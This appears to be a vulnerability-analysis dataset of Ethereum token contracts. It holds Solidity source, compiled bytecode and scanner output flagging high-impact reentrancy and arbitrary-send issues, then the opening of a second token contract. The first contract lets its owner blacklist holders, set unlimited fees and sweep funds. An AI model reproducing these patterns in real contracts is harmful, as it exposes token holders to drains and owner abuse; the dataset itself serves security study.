_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 feeAmount = amount.mul(_taxFee).div(100);
uint256 remainingAmount = amount.sub(feeAmount);
_balances[sender] = _balances[sender].sub(amount);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
_balances[recipient] = _balances[recipient].add(remainingAmount);
emit Transfer(sender, recipient, remainingAmount);
}
// Swap and send functions
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHtoMarketing(uint256 amount) private {
(bool success, ) = marketingAddress.call{value: amount}("");
require(success, "Tx Failed");
}
function manualswap() external {
require(_msgSender() == marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHtoMarketing(contractETHBalance);
}
// Blacklist and whitelist
function blacklistAddresses(address[] memory _blacklist) public onlyOwner {
for (uint256 i = 0; i < _blacklist.length; i++) {
blacklist[_blacklist[i]] = true;
}
}
function whitelistAddress(address whitelist) external onlyOwner {
blacklist[whitelist] = false;
}
// Fee related functions
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
// Setters
function setExcludeFromFee(address account, bool excluded)
external
onlyOwner
{
_isExcludedFromFee[account] = excluded;
}
function setMarketingWalletAddress(address payable _marketingAddress)
external
onlyOwner
{
marketingAddress = _marketingAddress;
}
function setFee(
uint256 taxFeeOnBuy,
uint256 taxFeeOnSell
) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 tokenSwapThreshold)
public
onlyOwner
{
_tokenSwapThreshold = tokenSwapThreshold;
}
function setSwapEnabled(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
// Enable the current contract to receive ETH
receive() external payable {}
} | 0x6080604052600436106101e75760003560e01c806374010ece11610102578063a9059cbb11610095578063e01af92c11610064578063e01af92c146106b5578063ea1644d5146106de578063f16f07ae14610707578063f9f92be414610732576101ee565b8063a9059cbb146105fb578063af9549e014610638578063c3c8cd8014610661578063dd62ed3e14610678576101ee565b80638f9a55c0116100d15780638f9a55c01461055157806395d89b411461057c57806398a5c315146105a7578063a5ece941146105d0576101ee565b806374010ece146104a957806377a54eb8146104d25780637d1db4a5146104fb5780638da5cb5b14610526576101ee565b8063415665851161017a5780635342acb4116101495780635342acb4146104015780636fc3eaec1461043e57806370a0823114610455578063715018a614610492576101ee565b8063415665851461035b57806349bd5a5e146103845780634cb80fd5146103af57806352f7c988146103d8576101ee565b806318160ddd116101b657806318160ddd1461029d57806323b872dd146102c8578063313ce567146103055780633eaaf86b14610330576101ee565b806301339c21146101f357806306fdde031461020a578063095ea7b3146102355780631694505e14610272576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861076f565b005b34801561021657600080fd5b5061021f610821565b60405161022c9190612de3565b60405180910390f35b34801561024157600080fd5b5061025c6004803603810190610257919061292e565b61085e565b6040516102699190612dad565b60405180910390f35b34801561027e57600080fd5b5061028761087c565b6040516102949190612dc8565b60405180910390f35b3480156102a957600080fd5b506102b26108a2565b6040516102bf9190612fa5565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea919061289b565b6108ac565b6040516102fc9190612dad565b60405180910390f35b34801561031157600080fd5b5061031a610985565b604051610327919061301a565b60405180910390f35b34801561033c57600080fd5b5061034561098e565b6040516103529190612fa5565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906127d4565b610994565b005b34801561039057600080fd5b50610399610a84565b6040516103a69190612d77565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d1919061282e565b610aaa565b005b3480156103e457600080fd5b506103ff60048036038101906103fa9190612a11565b610b83565b005b34801561040d57600080fd5b50610428600480360381019061042391906127d4565b610c2a565b6040516104359190612dad565b60405180910390f35b34801561044a57600080fd5b50610453610c80565b005b34801561046157600080fd5b5061047c600480360381019061047791906127d4565b610cf2565b6040516104899190612fa5565b60405180910390f35b34801561049e57600080fd5b506104a7610d3b565b005b3480156104b557600080fd5b506104d060048036038101906104cb91906129e4565b610e8e565b005b3480156104de57600080fd5b506104f960048036038101906104f4919061296e565b610f2d565b005b34801561050757600080fd5b50610510611057565b60405161051d9190612fa5565b60405180910390f35b34801561053257600080fd5b5061053b61105d565b6040516105489190612d77565b60405180910390f35b34801561055d57600080fd5b50610566611086565b6040516105739190612fa5565b60405180910390f35b34801561058857600080fd5b5061059161108c565b60405161059e9190612de3565b60405180910390f35b3480156105b357600080fd5b506105ce60048036038101906105c991906129e4565b6110c9565b005b3480156105dc57600080fd5b506105e5611168565b6040516105f29190612d92565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d919061292e565b61118e565b60405161062f9190612dad565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a91906128ee565b6111ac565b005b34801561066d57600080fd5b5061067661129c565b005b34801561068457600080fd5b5061069f600480360381019061069a919061285b565b611316565b6040516106ac9190612fa5565b60405180910390f35b3480156106c157600080fd5b506106dc60048036038101906106d791906129b7565b61139d565b005b3480156106ea57600080fd5b50610705600480360381019061070091906129e4565b61144f565b005b34801561071357600080fd5b5061071c6114ee565b6040516107299190612fa5565b60405180910390f35b34801561073e57600080fd5b50610759600480360381019061075491906127d4565b6114f4565b6040516107669190612dad565b60405180910390f35b610777611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fb90612f05565b60405180910390fd5b6001600d60146101000a81548160ff021916908315150217905550565b60606040518060400160405280600981526020017f4f4e4520574f524c440000000000000000000000000000000000000000000000815250905090565b600061087261086b611514565b848461151c565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60006108b98484846116e7565b61097a846108c5611514565b6109758560405180606001604052806028815260200161380360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611514565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e759092919063ffffffff16565b61151c565b600190509392505050565b60006009905090565b60055481565b61099c611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090612f05565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ab2611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3690612f05565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610b8b611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0f90612f05565b60405180910390fd5b81600681905550806007819055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cc1611514565b73ffffffffffffffffffffffffffffffffffffffff1614610ce157600080fd5b6000479050610cef81611ed9565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d43611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc790612f05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e96611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90612f05565b60405180910390fd5b80600e8190555050565b610f35611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb990612f05565b60405180910390fd5b60005b8151811015611053576001600a6000848481518110610fe757610fe66133b5565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061104b9061330e565b915050610fc5565b5050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600881526020017f4f4e45574f524c44000000000000000000000000000000000000000000000000815250905090565b6110d1611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115590612f05565b60405180910390fd5b8060108190555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111a261119b611514565b84846116e7565b6001905092915050565b6111b4611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123890612f05565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112dd611514565b73ffffffffffffffffffffffffffffffffffffffff16146112fd57600080fd5b600061130830610cf2565b905061131381611fab565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113a5611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611432576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142990612f05565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b611457611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f05565b60405180910390fd5b80600f8190555050565b60105481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158390612f85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f390612e45565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116da9190612fa5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e90612f45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117be90612e05565b60405180910390fd5b6000811161180a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180190612f25565b60405180910390fd5b61181261105d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611880575061185061105d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b8657600d60149054906101000a900460ff166118d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cb90612ea5565b60405180910390fd5b600e54811115611919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191090612e25565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119bd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f390612e65565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611aa957600f5481611a5e84610cf2565b611a6891906130e6565b10611aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9f90612f65565b60405180910390fd5b5b6000611ab430610cf2565b905060006010548210159050600e548210611acf57600e5491505b808015611ae95750600d60159054906101000a900460ff16155b8015611b435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5b5750600d60169054906101000a900460ff165b15611b8357611b6982611fab565b60004790506000811115611b8157611b8047611ed9565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c2d5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611ce05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cdf5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611cee5760009050611e63565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d995750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611da8576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e535750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e62576007546008819055505b5b611e6f84848484612233565b50505050565b6000838311158290611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb49190612de3565b60405180910390fd5b5060008385611ecc91906131c7565b9050809150509392505050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051611f2190612d62565b60006040518083038185875af1925050503d8060008114611f5e576040519150601f19603f3d011682016040523d82523d6000602084013e611f63565b606091505b5050905080611fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9e90612ec5565b60405180910390fd5b5050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fe357611fe26133e4565b5b6040519080825280602002602001820160405280156120115781602001602082028036833780820191505090505b5090503081600081518110612029576120286133b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120cb57600080fd5b505afa1580156120df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121039190612801565b81600181518110612117576121166133b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061217e30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461151c565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121e2959493929190612fc0565b600060405180830381600087803b1580156121fc57600080fd5b505af1158015612210573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b8061224157612240612260565b5b61224c848484612284565b8061225a576122596124f2565b5b50505050565b6000600854141561227057612282565b60085460098190555060006008819055505b565b60006122ae60646122a0600854856124fd90919063ffffffff16565b61257890919063ffffffff16565b905060006122c582846125c290919063ffffffff16565b905061231983600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ae82600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461260c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061244381600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461260c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124e39190612fa5565b60405180910390a35050505050565b600954600881905550565b6000808314156125105760009050612572565b6000828461251e919061316d565b905082848261252d919061313c565b1461256d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256490612ee5565b60405180910390fd5b809150505b92915050565b60006125ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061266a565b905092915050565b600061260483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e75565b905092915050565b600080828461261b91906130e6565b905083811015612660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265790612e85565b60405180910390fd5b8091505092915050565b600080831182906126b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a89190612de3565b60405180910390fd5b50600083856126c0919061313c565b9050809150509392505050565b60006126e06126db8461305a565b613035565b9050808382526020820190508285602086028201111561270357612702613418565b5b60005b858110156127335781612719888261273d565b845260208401935060208301925050600181019050612706565b5050509392505050565b60008135905061274c816137a6565b92915050565b600081519050612761816137a6565b92915050565b600081359050612776816137bd565b92915050565b600082601f83011261279157612790613413565b5b81356127a18482602086016126cd565b91505092915050565b6000813590506127b9816137d4565b92915050565b6000813590506127ce816137eb565b92915050565b6000602082840312156127ea576127e9613422565b5b60006127f88482850161273d565b91505092915050565b60006020828403121561281757612816613422565b5b600061282584828501612752565b91505092915050565b60006020828403121561284457612843613422565b5b600061285284828501612767565b91505092915050565b6000806040838503121561287257612871613422565b5b60006128808582860161273d565b92505060206128918582860161273d565b9150509250929050565b6000806000606084860312156128b4576128b3613422565b5b60006128c28682870161273d565b93505060206128d38682870161273d565b92505060406128e4868287016127bf565b9150509250925092565b6000806040838503121561290557612904613422565b5b60006129138582860161273d565b9250506020612924858286016127aa565b9150509250929050565b6000806040838503121561294557612944613422565b5b60006129538582860161273d565b9250506020612964858286016127bf565b9150509250929050565b60006020828403121561298457612983613422565b5b600082013567ffffffffffffffff8111156129a2576129a161341d565b5b6129ae8482850161277c565b91505092915050565b6000602082840312156129cd576129cc613422565b5b60006129db848285016127aa565b91505092915050565b6000602082840312156129fa576129f9613422565b5b6000612a08848285016127bf565b91505092915050565b60008060408385031215612a2857612a27613422565b5b6000612a36858286016127bf565b9250506020612a47858286016127bf565b9150509250929050565b6000612a5d8383612a78565b60208301905092915050565b612a728161320d565b82525050565b612a81816131fb565b82525050565b612a90816131fb565b82525050565b6000612aa182613096565b612aab81856130b9565b9350612ab683613086565b8060005b83811015612ae7578151612ace8882612a51565b9750612ad9836130ac565b925050600181019050612aba565b5085935050505092915050565b612afd8161321f565b82525050565b612b0c81613262565b82525050565b612b1b81613274565b82525050565b6000612b2c826130a1565b612b3681856130d5565b9350612b468185602086016132aa565b612b4f81613427565b840191505092915050565b6000612b676023836130d5565b9150612b7282613438565b604082019050919050565b6000612b8a601c836130d5565b9150612b9582613487565b602082019050919050565b6000612bad6022836130d5565b9150612bb8826134b0565b604082019050919050565b6000612bd06023836130d5565b9150612bdb826134ff565b604082019050919050565b6000612bf3601b836130d5565b9150612bfe8261354e565b602082019050919050565b6000612c166024836130d5565b9150612c2182613577565b604082019050919050565b6000612c396009836130d5565b9150612c44826135c6565b602082019050919050565b6000612c5c6021836130d5565b9150612c67826135ef565b604082019050919050565b6000612c7f6020836130d5565b9150612c8a8261363e565b602082019050919050565b6000612ca26029836130d5565b9150612cad82613667565b604082019050919050565b6000612cc56025836130d5565b9150612cd0826136b6565b604082019050919050565b6000612ce86023836130d5565b9150612cf382613705565b604082019050919050565b6000612d0b6000836130ca565b9150612d1682613754565b600082019050919050565b6000612d2e6024836130d5565b9150612d3982613757565b604082019050919050565b612d4d8161324b565b82525050565b612d5c81613255565b82525050565b6000612d6d82612cfe565b9150819050919050565b6000602082019050612d8c6000830184612a87565b92915050565b6000602082019050612da76000830184612a69565b92915050565b6000602082019050612dc26000830184612af4565b92915050565b6000602082019050612ddd6000830184612b03565b92915050565b60006020820190508181036000830152612dfd8184612b21565b905092915050565b60006020820190508181036000830152612e1e81612b5a565b9050919050565b60006020820190508181036000830152612e3e81612b7d565b9050919050565b60006020820190508181036000830152612e5e81612ba0565b9050919050565b60006020820190508181036000830152612e7e81612bc3565b9050919050565b60006020820190508181036000830152612e9e81612be6565b9050919050565b60006020820190508181036000830152612ebe81612c09565b9050919050565b60006020820190508181036000830152612ede81612c2c565b9050919050565b60006020820190508181036000830152612efe81612c4f565b9050919050565b60006020820190508181036000830152612f1e81612c72565b9050919050565b60006020820190508181036000830152612f3e81612c95565b9050919050565b60006020820190508181036000830152612f5e81612cb8565b9050919050565b60006020820190508181036000830152612f7e81612cdb565b9050919050565b60006020820190508181036000830152612f9e81612d21565b9050919050565b6000602082019050612fba6000830184612d44565b92915050565b600060a082019050612fd56000830188612d44565b612fe26020830187612b12565b8181036040830152612ff48186612a96565b90506130036060830185612a87565b6130106080830184612d44565b9695505050505050565b600060208201905061302f6000830184612d53565b92915050565b600061303f613050565b905061304b82826132dd565b919050565b6000604051905090565b600067ffffffffffffffff821115613075576130746133e4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b60006130f18261324b565b91506130fc8361324b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561313157613130613357565b5b828201905092915050565b60006131478261324b565b91506131528361324b565b92508261316257613161613386565b5b828204905092915050565b60006131788261324b565b91506131838361324b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131bc576131bb613357565b5b828202905092915050565b60006131d28261324b565b91506131dd8361324b565b9250828210156131f0576131ef613357565b5b828203905092915050565b60006132068261322b565b9050919050565b60006132188261322b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061326d82613286565b9050919050565b600061327f8261324b565b9050919050565b600061329182613298565b9050919050565b60006132a38261322b565b9050919050565b60005b838110156132c85780820151818401526020810190506132ad565b838111156132d7576000848401525b50505050565b6132e682613427565b810181811067ffffffffffffffff82111715613305576133046133e4565b5b80604052505050565b60006133198261324b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334c5761334b613357565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a205468697320746f6b656e2069736e2774207472616461626c6560008201527f2079657400000000000000000000000000000000000000000000000000000000602082015250565b7f5478204661696c65640000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6137af816131fb565b81146137ba57600080fd5b50565b6137c68161320d565b81146137d157600080fd5b50565b6137dd8161321f565b81146137e857600080fd5b50565b6137f48161324b565b81146137ff57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122088f5f573699953f70a6d2ae6191563b1741813c2694b93162518c22dcbb225e264736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,109 |
0xd9a8bb44968f35282f1b91c353f77a61baf31a4b | // SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Global Transaction Payment Solution' contract
//
// Symbol : GTPS
// Name : Global Transaction Payment Solution
// Total supply: 500 000 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
